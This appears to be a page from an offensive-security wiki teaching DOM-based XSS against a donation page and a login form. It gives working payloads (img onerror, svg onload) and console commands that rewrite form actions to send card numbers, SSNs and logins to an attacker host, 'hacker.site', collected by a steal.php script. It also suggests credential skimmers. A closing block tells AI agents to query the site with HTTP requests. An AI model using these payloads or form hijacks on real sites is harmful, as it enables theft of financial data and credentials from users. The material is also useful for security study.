# DOM

{% hint style="info" %}
This is a purely Client Sided attack that exploits the JS DOM. This 'hack' will be invisible to the server and appear as typical user behavior but may trigger AI/Heuristic WAFs if the request is outside of normal behavior; example - dumping a users savings account.
{% endhint %}

This attack works when visible client sided JS scripts can access and modify the DOM. Because we can then edit this input for our attack. Tools like firebug and DOM inspector can help you to map the DOM tree "leaves" and consider what DOM functions you should use. 

{% hint style="danger" %}
This vulnerability happens when JS code uses DOM values in client side logic in which the DOM values can be user supplied. Sanitization of DOM values before logic prevents this.
{% endhint %}

### DOM XSS example:

In this example we saw that any edits to the URL for the "amount" field got written to the donate box. This was found since there were buttons to donate preconfigured amounts ($10, $50, etc) and we saw in the source code that it makes the edit by using DOM ID tags which write to the property of the object.<br>

![Dono buttons on a site](/files/-McqqXpY-MZQGI0cH5pn)

![The client side script that modifies the donation amounts based on selection](/files/-McqqZRfEjF50gWYwmyH)

![Then we try junk data](/files/-Mcqqa_vqepjNRPOTTiR)

![And see that it populates the amount to donate](/files/-Mcqqbr5TZGJTXOWiEqI)

Next we want to try some tagging. After tagging like \<h1> works we try:\
\
`amount="><img src="aaa" onerror="alert(document.domain)">`\
or\
`amount="><svg/onload="alert(document.domain)">`\
If this works we would see an alert box after we hit the triggering action.

![alert box works!](/files/-Mcqqg7NOBK2CKHdjUtc)

Now in the JS console:\
`>>document.forms`\
This will display some number of forms that we can check by doing array style indexing.

![We have 2 forms \[0,1\]](/files/-McqqkwWezmgiAfj0S-O)

If we do something like `>>doument.forms[1].action="test.html"` Then when we click on the donate button. If test.html is a non existent page on the site directory then It would send the form data to the test.html site but result in a 404 Not Found error or similar. Using this info we can instead poison the page with our remote site to receive the data.

The PHP script to gather this data would be like the below. Then store it at our domain. The script grabs the 'cc' and 'ssn' attributes seen in the POST and writes them to the loot.txt file.<br>

![steal.php stored at hacker.site](/files/-Mcqqspv27inL2-3TB08)

\
Now we craft the link and if its **stored,** anyone who clicks on it will become a victim. If this is reflected then we can also slightly modify the killchain and send the link to victims.

![Using our domain at hacker.site](/files/-McqqoeyOspyA-c-0CTL)

We then hit enter and should stay on the same page but now when we enter the form data and hit donate we send the transaction to our machine. The steal.php script is hosted on our remote attacker machine.<br>

### DOM iframe:

DOM XSS does not have to follow the same SOP rules that reflected and stored XSS does. One can exploit DOM XSS from an iframe referencing the SOP of the cookie.&#x20;

{% hint style="info" %}
Always try a `document.domain` from iframe xss first and make sure its the correct domain. Some iframes are sandboxed.
{% endhint %}

![](/files/-Ml2_VkbNE1fhq1rPINw)

{% hint style="success" %}
Next steps; If you have DOM control you have almost full control of the webpage. With this, it is possible to do things like inject credential skimmer scripts into the page. Much like a phish but using the actual site to achieve the same result.&#x20;
{% endhint %}

### XSS Phish:

If you find out that you have DOM control on a login page then you can modify the ACTION param of the FORM tag. A typical FORM tag may look like the following:

```
<form name="loginform" method="POST" action="/checklogin.cgi">
```

Our change in the JS console may look something like:

```
js> document.forms[0].action="https://hacker.site/handler.php";
```

{% hint style="info" %}
Handling the XSS traffic can be done manually via a web stack and a php file or it can also be handled with tools like BeEF and MSF's "Browser Autopwn" module.
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.hackbook.io/web-application-hacking/web-techniques/xss/dom.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.